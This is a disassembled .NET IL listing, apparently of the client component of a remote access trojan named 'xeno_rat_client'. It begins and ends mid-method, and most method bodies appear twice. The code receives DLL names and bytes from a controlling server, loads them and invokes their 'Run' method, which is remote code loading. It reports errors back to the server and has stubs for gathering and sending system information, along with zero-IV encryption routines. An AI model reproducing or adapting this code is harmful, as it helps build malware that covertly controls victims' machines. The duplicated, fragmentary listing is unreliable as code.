000026dacallvirt GetAwaiter
000026dfstloc.s 6
000026e1ldloca.s 6
000026e3call get_IsCompleted
000026e8brtrue.s IL_0273
000026ealdarg.0
000026ebldc.i4.3
000026ecdup
000026edstloc.0
000026eestfld <>1__state
000026f3ldarg.0
000026f4ldloc.s 6
000026f6stfld <>u__2
000026fbldarg.0
000026fcldflda <>t__builder
00002701ldloca.s 6
00002703ldarg.0
00002704call 0x2B000004
00002709leave IL_04b7
0000270eldarg.0
0000270fldfld <>u__2
00002714stloc.s 6
00002716ldarg.0
00002717ldflda <>u__2
0000271cinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00002722ldarg.0
00002723ldc.i4.m1
00002724dup
00002725stloc.0
00002726stfld <>1__state
0000272bldloca.s 6
0000272dcall GetResult
00002732pop
00002733ldloc.1
00002734ldfld Assemblies
00002739ldarg.0
0000273aldfld <dllname>5__7
0000273fcallvirt get_Item
00002744ldloc.1
00002745ldfld classpath
0000274acallvirt GetType
0000274fcall CreateInstance
00002754stloc.3
00002755ldloc.3
00002756callvirt GetType
0000275bldstr "Run"
00002760ldc.i4.s 20
00002762callvirt GetMethod
00002767ldloc.3
00002768ldc.i4.1
00002769newarr System.Object
0000276edup
0000276fldc.i4.0
00002770ldarg.0
00002771ldfld subServer
00002776stelem.ref
00002777callvirt Invoke
0000277ccastclass System.Threading.Tasks.Task
00002781callvirt GetAwaiter
00002786stloc.s 7
00002788ldloca.s 7
0000278acall get_IsCompleted
0000278fbrtrue.s IL_031a
00002791ldarg.0
00002792ldc.i4.4
00002793dup
00002794stloc.0
00002795stfld <>1__state
0000279aldarg.0
0000279bldloc.s 7
0000279dstfld <>u__3
000027a2ldarg.0
000027a3ldflda <>t__builder
000027a8ldloca.s 7
000027aaldarg.0
000027abcall 0x2B000005
000027b0leave IL_04b7
000027b5ldarg.0
000027b6ldfld <>u__3
000027bbstloc.s 7
000027bdldarg.0
000027beldflda <>u__3
000027c3initobj System.Runtime.CompilerServices.TaskAwaiter
000027c9ldarg.0
000027caldc.i4.m1
000027cbdup
000027ccstloc.0
000027cdstfld <>1__state
000027d2ldloca.s 7
000027d4call GetResult
000027d9ldarg.0
000027daldnull
000027dbstfld <dllname>5__7
000027e0leave.s IL_033d
000027e2stloc.s 8
000027e4ldarg.0
000027e5ldloc.s 8
000027e7stfld <>7__wrap4
000027ecldarg.0
000027edldc.i4.1
000027eestfld <>7__wrap5
000027f3leave.s IL_033d
000027f5ldarg.0
000027f6ldfld <>7__wrap5
000027fbstloc.s 9
000027fdldloc.s 9
000027ffldc.i4.1
00002800bne.un IL_0458
00002805ldarg.0
00002806ldarg.0
00002807ldfld <>7__wrap4
0000280ccastclass System.Exception
00002811stfld <e>5__8
00002816ldarg.0
00002817ldfld subServer
0000281cldarg.0
0000281dldfld <fail>5__4
00002822callvirt SendAsync
00002827callvirt GetAwaiter
0000282cstloc.s 6
0000282eldloca.s 6
00002830call get_IsCompleted
00002835brtrue.s IL_03c0
00002837ldarg.0
00002838ldc.i4.5
00002839dup
0000283astloc.0
0000283bstfld <>1__state
00002840ldarg.0
00002841ldloc.s 6
00002843stfld <>u__2
00002848ldarg.0
00002849ldflda <>t__builder
0000284eldloca.s 6
00002850ldarg.0
00002851call 0x2B000004
00002856leave IL_04b7
0000285bldarg.0
0000285cldfld <>u__2
00002861stloc.s 6
00002863ldarg.0
00002864ldflda <>u__2
00002869initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
0000286fldarg.0
00002870ldc.i4.m1
00002871dup
00002872stloc.0
00002873stfld <>1__state
00002878ldloca.s 6
0000287acall GetResult
0000287fpop
00002880ldarg.0
00002881ldfld subServer
00002886call get_UTF8
0000288bldarg.0
0000288cldfld <e>5__8
00002891callvirt get_Message
00002896callvirt GetBytes
0000289bcallvirt SendAsync
000028a0callvirt GetAwaiter
000028a5stloc.s 6
000028a7ldloca.s 6
000028a9call get_IsCompleted
000028aebrtrue.s IL_0439
000028b0ldarg.0
000028b1ldc.i4.6
000028b2dup
000028b3stloc.0
000028b4stfld <>1__state
000028b9ldarg.0
000028baldloc.s 6
000028bcstfld <>u__2
000028c1ldarg.0
000028c2ldflda <>t__builder
000028c7ldloca.s 6
000028c9ldarg.0
000028cacall 0x2B000004
000028cfleave IL_04b7
000028d4ldarg.0
000028d5ldfld <>u__2
000028dastloc.s 6
000028dcldarg.0
000028ddldflda <>u__2
000028e2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000028e8ldarg.0
000028e9ldc.i4.m1
000028eadup
000028ebstloc.0
000028ecstfld <>1__state
000028f1ldloca.s 6
000028f3call GetResult
000028f8pop
000028f9ldarg.0
000028faldfld <e>5__8
000028ffcallvirt get_StackTrace
00002904call WriteLine
00002909ldarg.0
0000290aldnull
0000290bstfld <e>5__8
00002910ldarg.0
00002911ldnull
00002912stfld <>7__wrap4
00002917leave.s IL_048f
00002919stloc.s 10
0000291bldarg.0
0000291cldc.i4.s -2
0000291estfld <>1__state
00002923ldarg.0
00002924ldnull
00002925stfld <getdll>5__2
0000292aldarg.0
0000292bldnull
0000292cstfld <hasdll>5__3
00002931ldarg.0
00002932ldnull
00002933stfld <fail>5__4
00002938ldarg.0
00002939ldflda <>t__builder
0000293eldloc.s 10
00002940call SetException
00002945leave.s IL_04b7
00002947ldarg.0
00002948ldc.i4.s -2
0000294astfld <>1__state
0000294fldarg.0
00002950ldnull
00002951stfld <getdll>5__2
00002956ldarg.0
00002957ldnull
00002958stfld <hasdll>5__3
0000295dldarg.0
0000295eldnull
0000295fstfld <fail>5__4
00002964ldarg.0
00002965ldflda <>t__builder
0000296acall SetResult
0000296fret
000024b8
000024b8<DllNodeHandler>d__3::MoveNext:
000024b8ldarg.0
000024b9ldfld <>1__state
000024bestloc.0
000024bfldarg.0
000024c0ldfld <>4__this
000024c5stloc.1
000024c6ldloc.0
000024c7switch (IL_006e, IL_006e, IL_006e, IL_006e, IL_006e, IL_03a3, IL_041c)
000024e8ldarg.0
000024e9ldc.i4.1
000024eanewarr System.Byte
000024efdup
000024f0ldc.i4.0
000024f1ldc.i4.1
000024f2stelem.i1
000024f3stfld <getdll>5__2
000024f8ldarg.0
000024f9ldc.i4.1
000024fanewarr System.Byte
000024ffstfld <hasdll>5__3
00002504ldarg.0
00002505ldc.i4.1
00002506newarr System.Byte
0000250bdup
0000250cldc.i4.0
0000250dldc.i4.2
0000250estelem.i1
0000250fstfld <fail>5__4
00002514ldc.i4.1
00002515newarr System.Byte
0000251adup
0000251bldc.i4.0
0000251cldc.i4.3
0000251dstelem.i1
0000251epop
0000251fldarg.0
00002520ldc.i4.0
00002521stfld <>7__wrap5
00002526nop
00002527ldloc.0
00002528switch (IL_00c8, IL_0164, IL_01c8, IL_0256, IL_02fd)
00002541ldarg.0
00002542ldfld subServer
00002547callvirt ReceiveAsync
0000254ccallvirt GetAwaiter
00002551stloc.s 4
00002553ldloca.s 4
00002555call get_IsCompleted
0000255abrtrue.s IL_00e5
0000255cldarg.0
0000255dldc.i4.0
0000255edup
0000255fstloc.0
00002560stfld <>1__state
00002565ldarg.0
00002566ldloc.s 4
00002568stfld <>u__1
0000256dldarg.0
0000256eldflda <>t__builder
00002573ldloca.s 4
00002575ldarg.0
00002576call 0x2B000003
0000257bleave IL_04b7
00002580ldarg.0
00002581ldfld <>u__1
00002586stloc.s 4
00002588ldarg.0
00002589ldflda <>u__1
0000258einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00002594ldarg.0
00002595ldc.i4.m1
00002596dup
00002597stloc.0
00002598stfld <>1__state
0000259dldloca.s 4
0000259fcall GetResult
000025a4stloc.2
000025a5ldarg.0
000025a6call get_UTF8
000025abldloc.2
000025accallvirt GetString
000025b1stfld <dllname>5__7
000025b6ldarg.0
000025b7ldfld <dllname>5__7
000025bccall WriteLine
000025c1ldloc.1
000025c2ldfld Assemblies
000025c7ldarg.0
000025c8ldfld <dllname>5__7
000025cdcallvirt ContainsKey
000025d2brtrue IL_0211
000025d7ldarg.0
000025d8ldfld subServer
000025ddldarg.0
000025deldfld <getdll>5__2
000025e3callvirt SendAsync
000025e8callvirt GetAwaiter
000025edstloc.s 6
000025efldloca.s 6
000025f1call get_IsCompleted
000025f6brtrue.s IL_0181
000025f8ldarg.0
000025f9ldc.i4.1
000025fadup
000025fbstloc.0
000025fcstfld <>1__state
00002601ldarg.0
00002602ldloc.s 6
00002604stfld <>u__2
00002609ldarg.0
0000260aldflda <>t__builder
0000260fldloca.s 6
00002611ldarg.0
00002612call 0x2B000004
00002617leave IL_04b7
0000261cldarg.0
0000261dldfld <>u__2
00002622stloc.s 6
00002624ldarg.0
00002625ldflda <>u__2
0000262ainitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00002630ldarg.0
00002631ldc.i4.m1
00002632dup
00002633stloc.0
00002634stfld <>1__state
00002639ldloca.s 6
0000263bcall GetResult
00002640pop
00002641ldarg.0
00002642ldfld subServer
00002647callvirt ReceiveAsync
0000264ccallvirt GetAwaiter
00002651stloc.s 4
00002653ldloca.s 4
00002655call get_IsCompleted
0000265abrtrue.s IL_01e5
0000265cldarg.0
0000265dldc.i4.2
0000265edup
0000265fstloc.0
00002660stfld <>1__state
00002665ldarg.0
00002666ldloc.s 4
00002668stfld <>u__1
0000266dldarg.0
0000266eldflda <>t__builder
00002673ldloca.s 4
00002675ldarg.0
00002676call 0x2B000003
0000267bleave IL_04b7
00002680ldarg.0
00002681ldfld <>u__1
00002686stloc.s 4
00002688ldarg.0
00002689ldflda <>u__1
0000268einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00002694ldarg.0
00002695ldc.i4.m1
00002696dup
00002697stloc.0
00002698stfld <>1__state
0000269dldloca.s 4
0000269fcall GetResult
000026a4stloc.s 5
000026a6ldloc.s 5
000026a8ldlen
000026a9conv.i4
000026aacall WriteLine
000026afldloc.1
000026b0ldfld Assemblies
000026b5ldarg.0
000026b6ldfld <dllname>5__7
000026bbldloc.s 5
000026bdcall Load
000026c2callvirt set_Item
000026c7br.s IL_027b
000026c9ldarg.0
000026caldfld subServer
000026cfldarg.0
000026d0ldfld <hasdll>5__3
000026d5callvirt SendAsync
000026dacallvirt GetAwaiter
000026dfstloc.s 6
000026e1ldloca.s 6
000026e3call get_IsCompleted
000026e8brtrue.s IL_0273
000026ealdarg.0
000026ebldc.i4.3
000026ecdup
000026edstloc.0
000026eestfld <>1__state
000026f3ldarg.0
000026f4ldloc.s 6
000026f6stfld <>u__2
000026fbldarg.0
000026fcldflda <>t__builder
00002701ldloca.s 6
00002703ldarg.0
00002704call 0x2B000004
00002709leave IL_04b7
0000270eldarg.0
0000270fldfld <>u__2
00002714stloc.s 6
00002716ldarg.0
00002717ldflda <>u__2
0000271cinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00002722ldarg.0
00002723ldc.i4.m1
00002724dup
00002725stloc.0
00002726stfld <>1__state
0000272bldloca.s 6
0000272dcall GetResult
00002732pop
00002733ldloc.1
00002734ldfld Assemblies
00002739ldarg.0
0000273aldfld <dllname>5__7
0000273fcallvirt get_Item
00002744ldloc.1
00002745ldfld classpath
0000274acallvirt GetType
0000274fcall CreateInstance
00002754stloc.3
00002755ldloc.3
00002756callvirt GetType
0000275bldstr "Run"
00002760ldc.i4.s 20
00002762callvirt GetMethod
00002767ldloc.3
00002768ldc.i4.1
00002769newarr System.Object
0000276edup
0000276fldc.i4.0
00002770ldarg.0
00002771ldfld subServer
00002776stelem.ref
00002777callvirt Invoke
0000277ccastclass System.Threading.Tasks.Task
00002781callvirt GetAwaiter
00002786stloc.s 7
00002788ldloca.s 7
0000278acall get_IsCompleted
0000278fbrtrue.s IL_031a
00002791ldarg.0
00002792ldc.i4.4
00002793dup
00002794stloc.0
00002795stfld <>1__state
0000279aldarg.0
0000279bldloc.s 7
0000279dstfld <>u__3
000027a2ldarg.0
000027a3ldflda <>t__builder
000027a8ldloca.s 7
000027aaldarg.0
000027abcall 0x2B000005
000027b0leave IL_04b7
000027b5ldarg.0
000027b6ldfld <>u__3
000027bbstloc.s 7
000027bdldarg.0
000027beldflda <>u__3
000027c3initobj System.Runtime.CompilerServices.TaskAwaiter
000027c9ldarg.0
000027caldc.i4.m1
000027cbdup
000027ccstloc.0
000027cdstfld <>1__state
000027d2ldloca.s 7
000027d4call GetResult
000027d9ldarg.0
000027daldnull
000027dbstfld <dllname>5__7
000027e0leave.s IL_033d
000027e2stloc.s 8
000027e4ldarg.0
000027e5ldloc.s 8
000027e7stfld <>7__wrap4
000027ecldarg.0
000027edldc.i4.1
000027eestfld <>7__wrap5
000027f3leave.s IL_033d
000027f5ldarg.0
000027f6ldfld <>7__wrap5
000027fbstloc.s 9
000027fdldloc.s 9
000027ffldc.i4.1
00002800bne.un IL_0458
00002805ldarg.0
00002806ldarg.0
00002807ldfld <>7__wrap4
0000280ccastclass System.Exception
00002811stfld <e>5__8
00002816ldarg.0
00002817ldfld subServer
0000281cldarg.0
0000281dldfld <fail>5__4
00002822callvirt SendAsync
00002827callvirt GetAwaiter
0000282cstloc.s 6
0000282eldloca.s 6
00002830call get_IsCompleted
00002835brtrue.s IL_03c0
00002837ldarg.0
00002838ldc.i4.5
00002839dup
0000283astloc.0
0000283bstfld <>1__state
00002840ldarg.0
00002841ldloc.s 6
00002843stfld <>u__2
00002848ldarg.0
00002849ldflda <>t__builder
0000284eldloca.s 6
00002850ldarg.0
00002851call 0x2B000004
00002856leave IL_04b7
0000285bldarg.0
0000285cldfld <>u__2
00002861stloc.s 6
00002863ldarg.0
00002864ldflda <>u__2
00002869initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
0000286fldarg.0
00002870ldc.i4.m1
00002871dup
00002872stloc.0
00002873stfld <>1__state
00002878ldloca.s 6
0000287acall GetResult
0000287fpop
00002880ldarg.0
00002881ldfld subServer
00002886call get_UTF8
0000288bldarg.0
0000288cldfld <e>5__8
00002891callvirt get_Message
00002896callvirt GetBytes
0000289bcallvirt SendAsync
000028a0callvirt GetAwaiter
000028a5stloc.s 6
000028a7ldloca.s 6
000028a9call get_IsCompleted
000028aebrtrue.s IL_0439
000028b0ldarg.0
000028b1ldc.i4.6
000028b2dup
000028b3stloc.0
000028b4stfld <>1__state
000028b9ldarg.0
000028baldloc.s 6
000028bcstfld <>u__2
000028c1ldarg.0
000028c2ldflda <>t__builder
000028c7ldloca.s 6
000028c9ldarg.0
000028cacall 0x2B000004
000028cfleave IL_04b7
000028d4ldarg.0
000028d5ldfld <>u__2
000028dastloc.s 6
000028dcldarg.0
000028ddldflda <>u__2
000028e2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000028e8ldarg.0
000028e9ldc.i4.m1
000028eadup
000028ebstloc.0
000028ecstfld <>1__state
000028f1ldloca.s 6
000028f3call GetResult
000028f8pop
000028f9ldarg.0
000028faldfld <e>5__8
000028ffcallvirt get_StackTrace
00002904call WriteLine
00002909ldarg.0
0000290aldnull
0000290bstfld <e>5__8
00002910ldarg.0
00002911ldnull
00002912stfld <>7__wrap4
00002917leave.s IL_048f
00002919stloc.s 10
0000291bldarg.0
0000291cldc.i4.s -2
0000291estfld <>1__state
00002923ldarg.0
00002924ldnull
00002925stfld <getdll>5__2
0000292aldarg.0
0000292bldnull
0000292cstfld <hasdll>5__3
00002931ldarg.0
00002932ldnull
00002933stfld <fail>5__4
00002938ldarg.0
00002939ldflda <>t__builder
0000293eldloc.s 10
00002940call SetException
00002945leave.s IL_04b7
00002947ldarg.0
00002948ldc.i4.s -2
0000294astfld <>1__state
0000294fldarg.0
00002950ldnull
00002951stfld <getdll>5__2
00002956ldarg.0
00002957ldnull
00002958stfld <hasdll>5__3
0000295dldarg.0
0000295eldnull
0000295fstfld <fail>5__4
00002964ldarg.0
00002965ldflda <>t__builder
0000296acall SetResult
0000296fret
000024b8
000029b0
000029b0xeno_rat_client.Encryption::Encrypt:
000029b0ldc.i4.s 16
000029b2newarr System.Byte
000029b7stloc.1
000029b8call Create
000029bdstloc.2
000029beldloc.2
000029bfldarg.1
000029c0callvirt set_Key
000029c5ldloc.2
000029c6ldloc.1
000029c7callvirt set_IV
000029ccldloc.2
000029cdldloc.2
000029cecallvirt get_Key
000029d3ldloc.2
000029d4callvirt get_IV
000029d9callvirt CreateEncryptor
000029destloc.3
000029dfnewobj .ctor
000029e4stloc.s 4
000029e6ldloc.s 4
000029e8ldloc.3
000029e9ldc.i4.1
000029eanewobj .ctor
000029efstloc.s 5
000029f1ldloc.s 5
000029f3ldarg.0
000029f4ldc.i4.0
000029f5ldarg.0
000029f6ldlen
000029f7conv.i4
000029f8callvirt Write
000029fdldloc.s 5
000029ffcallvirt FlushFinalBlock
00002a04ldloc.s 4
00002a06callvirt ToArray
00002a0bstloc.0
00002a0cleave.s IL_0076
00002a0eldloc.s 5
00002a10brfalse.s IL_0069
00002a12ldloc.s 5
00002a14callvirt Dispose
00002a19endfinally
00002a1aldloc.s 4
00002a1cbrfalse.s IL_0075
00002a1eldloc.s 4
00002a20callvirt Dispose
00002a25endfinally
00002a26ldloc.3
00002a27callvirt Dispose
00002a2cleave.s IL_0088
00002a2eldloc.2
00002a2fbrfalse.s IL_0087
00002a31ldloc.2
00002a32callvirt Dispose
00002a37endfinally
00002a38ldloc.0
00002a39ret
000029b0
000029b0xeno_rat_client.Encryption::Encrypt:
000029b0ldc.i4.s 16
000029b2newarr System.Byte
000029b7stloc.1
000029b8call Create
000029bdstloc.2
000029beldloc.2
000029bfldarg.1
000029c0callvirt set_Key
000029c5ldloc.2
000029c6ldloc.1
000029c7callvirt set_IV
000029ccldloc.2
000029cdldloc.2
000029cecallvirt get_Key
000029d3ldloc.2
000029d4callvirt get_IV
000029d9callvirt CreateEncryptor
000029destloc.3
000029dfnewobj .ctor
000029e4stloc.s 4
000029e6ldloc.s 4
000029e8ldloc.3
000029e9ldc.i4.1
000029eanewobj .ctor
000029efstloc.s 5
000029f1ldloc.s 5
000029f3ldarg.0
000029f4ldc.i4.0
000029f5ldarg.0
000029f6ldlen
000029f7conv.i4
000029f8callvirt Write
000029fdldloc.s 5
000029ffcallvirt FlushFinalBlock
00002a04ldloc.s 4
00002a06callvirt ToArray
00002a0bstloc.0
00002a0cleave.s IL_0076
00002a0eldloc.s 5
00002a10brfalse.s IL_0069
00002a12ldloc.s 5
00002a14callvirt Dispose
00002a19endfinally
00002a1aldloc.s 4
00002a1cbrfalse.s IL_0075
00002a1eldloc.s 4
00002a20callvirt Dispose
00002a25endfinally
00002a26ldloc.3
00002a27callvirt Dispose
00002a2cleave.s IL_0088
00002a2eldloc.2
00002a2fbrfalse.s IL_0087
00002a31ldloc.2
00002a32callvirt Dispose
00002a37endfinally
00002a38ldloc.0
00002a39ret
000029b0
00002a70
00002a70xeno_rat_client.Encryption::Decrypt:
00002a70ldc.i4.s 16
00002a72newarr System.Byte
00002a77stloc.0
00002a78call Create
00002a7dstloc.2
00002a7eldloc.2
00002a7fldarg.1
00002a80callvirt set_Key
00002a85ldloc.2
00002a86ldloc.0
00002a87callvirt set_IV
00002a8cldloc.2
00002a8dldloc.2
00002a8ecallvirt get_Key
00002a93ldloc.2
00002a94callvirt get_IV
00002a99callvirt CreateDecryptor
00002a9estloc.3
00002a9fnewobj .ctor
00002aa4stloc.s 4
00002aa6ldloc.s 4
00002aa8ldloc.3
00002aa9ldc.i4.1
00002aaanewobj .ctor
00002aafstloc.s 5
00002ab1ldloc.s 5
00002ab3ldarg.0
00002ab4ldc.i4.0
00002ab5ldarg.0
00002ab6ldlen
00002ab7conv.i4
00002ab8callvirt Write
00002abdldloc.s 5
00002abfcallvirt FlushFinalBlock
00002ac4ldloc.s 4
00002ac6callvirt ToArray
00002acbstloc.1
00002accleave.s IL_0076
00002aceldloc.s 5
00002ad0brfalse.s IL_0069
00002ad2ldloc.s 5
00002ad4callvirt Dispose
00002ad9endfinally
00002adaldloc.s 4
00002adcbrfalse.s IL_0075
00002adeldloc.s 4
00002ae0callvirt Dispose
00002ae5endfinally
00002ae6ldloc.3
00002ae7callvirt Dispose
00002aecleave.s IL_0088
00002aeeldloc.2
00002aefbrfalse.s IL_0087
00002af1ldloc.2
00002af2callvirt Dispose
00002af7endfinally
00002af8ldloc.1
00002af9ret
00002a70
00002a70xeno_rat_client.Encryption::Decrypt:
00002a70ldc.i4.s 16
00002a72newarr System.Byte
00002a77stloc.0
00002a78call Create
00002a7dstloc.2
00002a7eldloc.2
00002a7fldarg.1
00002a80callvirt set_Key
00002a85ldloc.2
00002a86ldloc.0
00002a87callvirt set_IV
00002a8cldloc.2
00002a8dldloc.2
00002a8ecallvirt get_Key
00002a93ldloc.2
00002a94callvirt get_IV
00002a99callvirt CreateDecryptor
00002a9estloc.3
00002a9fnewobj .ctor
00002aa4stloc.s 4
00002aa6ldloc.s 4
00002aa8ldloc.3
00002aa9ldc.i4.1
00002aaanewobj .ctor
00002aafstloc.s 5
00002ab1ldloc.s 5
00002ab3ldarg.0
00002ab4ldc.i4.0
00002ab5ldarg.0
00002ab6ldlen
00002ab7conv.i4
00002ab8callvirt Write
00002abdldloc.s 5
00002abfcallvirt FlushFinalBlock
00002ac4ldloc.s 4
00002ac6callvirt ToArray
00002acbstloc.1
00002accleave.s IL_0076
00002aceldloc.s 5
00002ad0brfalse.s IL_0069
00002ad2ldloc.s 5
00002ad4callvirt Dispose
00002ad9endfinally
00002adaldloc.s 4
00002adcbrfalse.s IL_0075
00002adeldloc.s 4
00002ae0callvirt Dispose
00002ae5endfinally
00002ae6ldloc.3
00002ae7callvirt Dispose
00002aecleave.s IL_0088
00002aeeldloc.2
00002aefbrfalse.s IL_0087
00002af1ldloc.2
00002af2callvirt Dispose
00002af7endfinally
00002af8ldloc.1
00002af9ret
00002a70
00002b30
00002b30xeno_rat_client.Handler::CreateSubSock:
00002b30ldloca.s 0
00002b32call Create
00002b37stfld <>t__builder
00002b3cldloca.s 0
00002b3eldarg.0
00002b3fstfld <>4__this
00002b44ldloca.s 0
00002b46ldarg.1
00002b47stfld data
00002b4cldloca.s 0
00002b4eldc.i4.m1
00002b4fstfld <>1__state
00002b54ldloca.s 0
00002b56ldflda <>t__builder
00002b5bldloca.s 0
00002b5dcall 0x2B000006
00002b62ldloca.s 0
00002b64ldflda <>t__builder
00002b69call get_Task
00002b6eret
00002b30
00002b30xeno_rat_client.Handler::CreateSubSock:
00002b30ldloca.s 0
00002b32call Create
00002b37stfld <>t__builder
00002b3cldloca.s 0
00002b3eldarg.0
00002b3fstfld <>4__this
00002b44ldloca.s 0
00002b46ldarg.1
00002b47stfld data
00002b4cldloca.s 0
00002b4eldc.i4.m1
00002b4fstfld <>1__state
00002b54ldloca.s 0
00002b56ldflda <>t__builder
00002b5bldloca.s 0
00002b5dcall 0x2B000006
00002b62ldloca.s 0
00002b64ldflda <>t__builder
00002b69call get_Task
00002b6eret
00002b30
00002b7c
00002b7cxeno_rat_client.Handler::GetAndSendInfo:
00002b7cldloca.s 0
00002b7ecall Create
00002b83stfld <>t__builder
00002b88ldloca.s 0
00002b8aldarg.1
00002b8bstfld Type0
00002b90ldloca.s 0
00002b92ldc.i4.m1
00002b93stfld <>1__state
00002b98ldloca.s 0
00002b9aldflda <>t__builder
00002b9fldloca.s 0
00002ba1call 0x2B000007
00002ba6ldloca.s 0
00002ba8ldflda <>t__builder
00002badcall get_Task
00002bb2ret
00002b7c
00002b7cxeno_rat_client.Handler::GetAndSendInfo:
00002b7cldloca.s 0
00002b7ecall Create
00002b83stfld <>t__builder
00002b88ldloca.s 0
00002b8aldarg.1
00002b8bstfld Type0
00002b90ldloca.s 0
00002b92ldc.i4.m1
00002b93stfld <>1__state
00002b98ldloca.s 0
00002b9aldflda <>t__builder
00002b9fldloca.s 0
00002ba1call 0x2B000007
00002ba6ldloca.s 0
00002ba8ldflda <>t__builder
00002badcall get_Task
00002bb2ret
00002b7c
00002bc0
00002bc0xeno_rat_client.Handler::Type0Receive:
00002bc0ldloca.s 0
00002bc2call Create
00002bc7stfld <>t__builder
00002bccldloca.s 0
00002bceldarg.0
00002bcfstfld <>4__this
00002bd4ldloca.s 0
00002bd6ldc.i4.m1
00002bd7stfld <>1__state
00002bdcldloca.s 0
00002bdeldflda <>t__builder
00002be3ldloca.s 0
00002be5call 0x2B000008
00002bealdloca.s 0
00002becldflda <>t__builder
00002bf1call get_Task
00002bf6ret
00002bc0
00002bc0xeno_rat_client.Handler::Type0Receive:
00002bc0ldloca.s 0
00002bc2call Create
00002bc7stfld <>t__builder
00002bccldloca.s 0
00002bceldarg.0
00002bcfstfld <>4__this
00002bd4ldloca.s 0
00002bd6ldc.i4.m1
00002bd7stfld <>1__state
00002bdcldloca.s 0
00002bdeldflda <>t__builder
00002be3ldloca.s 0
00002be5call 0x2B000008
00002bealdloca.s 0
00002becldflda <>t__builder
00002bf1call get_Task
00002bf6ret
00002bc0
00002c04
00002c04xeno_rat_client.Handler::Type1Receive:
00002c04ldloca.s 0
00002c06call Create
00002c0bstfld <>t__builder
00002c10ldloca.s 0
00002c12ldarg.0
00002c13stfld <>4__this
00002c18ldloca.s 0
00002c1aldarg.1
00002c1bstfld subServer
00002c20ldloca.s 0
00002c22ldc.i4.m1
00002c23stfld <>1__state
00002c28ldloca.s 0
00002c2aldflda <>t__builder
00002c2fldloca.s 0
00002c31call 0x2B000009
00002c36ldloca.s 0
00002c38ldflda <>t__builder
00002c3dcall get_Task
00002c42ret
00002c04
00002c04xeno_rat_client.Handler::Type1Receive:
00002c04ldloca.s 0
00002c06call Create
00002c0bstfld <>t__builder
00002c10ldloca.s 0
00002c12ldarg.0
00002c13stfld <>4__this
00002c18ldloca.s 0
00002c1aldarg.1
00002c1bstfld subServer
00002c20ldloca.s 0
00002c22ldc.i4.m1
00002c23stfld <>1__state
00002c28ldloca.s 0
00002c2aldflda <>t__builder
00002c2fldloca.s 0
00002c31call 0x2B000009
00002c36ldloca.s 0
00002c38ldflda <>t__builder
00002c3dcall get_Task
00002c42ret
00002c04
00002c50
00002c50xeno_rat_client.Handler::setSetId:
00002c50ldloca.s 0
00002c52call Create
00002c57stfld <>t__builder
00002c5cldloca.s 0
00002c5eldarg.1
00002c5fstfld subServer
00002c64ldloca.s 0
00002c66ldarg.2
00002c67stfld data
00002c6cldloca.s 0
00002c6eldc.i4.m1
00002c6fstfld <>1__state
00002c74ldloca.s 0
00002c76ldflda <>t__builder
00002c7bldloca.s 0
00002c7dcall 0x2B00000A
00002c82ldloca.s 0
00002c84ldflda <>t__builder
00002c89call get_Task
00002c8eret
00002c50
00002c50xeno_rat_client.Handler::setSetId:
00002c50ldloca.s 0
00002c52call Create
00002c57stfld <>t__builder
00002c5cldloca.s 0
00002c5eldarg.1
00002c5fstfld subServer
00002c64ldloca.s 0
00002c66ldarg.2
00002c67stfld data
00002c6cldloca.s 0
00002c6eldc.i4.m1
00002c6fstfld <>1__state
00002c74ldloca.s 0
00002c76ldflda <>t__builder
00002c7bldloca.s 0
00002c7dcall 0x2B00000A
00002c82ldloca.s 0
00002c84ldflda <>t__builder
00002c89call get_Task
00002c8eret
00002c50
00002c9c
00002c9cxeno_rat_client.Handler::Type2Receive:
00002c9cldloca.s 0
00002c9ecall Create
00002ca3stfld <>t__builder
00002ca8ldloca.s 0
00002caaldarg.0
00002cabstfld <>4__this
00002cb0ldloca.s 0
00002cb2ldarg.1
00002cb3stfld subServer
00002cb8ldloca.s 0
00002cbaldc.i4.m1
00002cbbstfld <>1__state
00002cc0ldloca.s 0
00002cc2ldflda <>t__builder
00002cc7ldloca.s 0
00002cc9call 0x2B00000B
00002cceldloca.s 0
00002cd0ldflda <>t__builder
00002cd5call get_Task
00002cdaret
00002c9c
00002c9cxeno_rat_client.Handler::Type2Receive:
00002c9cldloca.s 0
00002c9ecall Create
00002ca3stfld <>t__builder
00002ca8ldloca.s 0
00002caaldarg.0
00002cabstfld <>4__this
00002cb0ldloca.s 0
00002cb2ldarg.1
00002cb3stfld subServer
00002cb8ldloca.s 0
00002cbaldc.i4.m1
00002cbbstfld <>1__state
00002cc0ldloca.s 0
00002cc2ldflda <>t__builder
00002cc7ldloca.s 0
00002cc9call 0x2B00000B
00002cceldloca.s 0
00002cd0ldflda <>t__builder
00002cd5call get_Task
00002cdaret
00002c9c
00002ce8
00002ce8xeno_rat_client.Handler::DebugMenu:
00002ce8ldloca.s 0
00002ceacall Create
00002cefstfld <>t__builder
00002cf4ldloca.s 0
00002cf6ldarg.0
00002cf7stfld <>4__this
00002cfcldloca.s 0
00002cfeldarg.1
00002cffstfld subServer
00002d04ldloca.s 0
00002d06ldarg.2
00002d07stfld data
00002d0cldloca.s 0
00002d0eldc.i4.m1
00002d0fstfld <>1__state
00002d14ldloca.s 0
00002d16ldflda <>t__builder
00002d1bldloca.s 0
00002d1dcall 0x2B00000C
00002d22ldloca.s 0
00002d24ldflda <>t__builder
00002d29call get_Task
00002d2eret
00002ce8
00002ce8xeno_rat_client.Handler::DebugMenu:
00002ce8ldloca.s 0
00002ceacall Create
00002cefstfld <>t__builder
00002cf4ldloca.s 0
00002cf6ldarg.0
00002cf7stfld <>4__this
00002cfcldloca.s 0
00002cfeldarg.1
00002cffstfld subServer
00002d04ldloca.s 0
00002d06ldarg.2
00002d07stfld data
00002d0cldloca.s 0
00002d0eldc.i4.m1
00002d0fstfld <>1__state
00002d14ldloca.s 0
00002d16ldflda <>t__builder
00002d1bldloca.s 0
00002d1dcall 0x2B00000C
00002d22ldloca.s 0
00002d24ldflda <>t__builder
00002d29call get_Task
00002d2eret
00002ce8
00002d3c
00002d3cxeno_rat_client.Handler::SendUpdateInfo:
00002d3cldloca.s 0
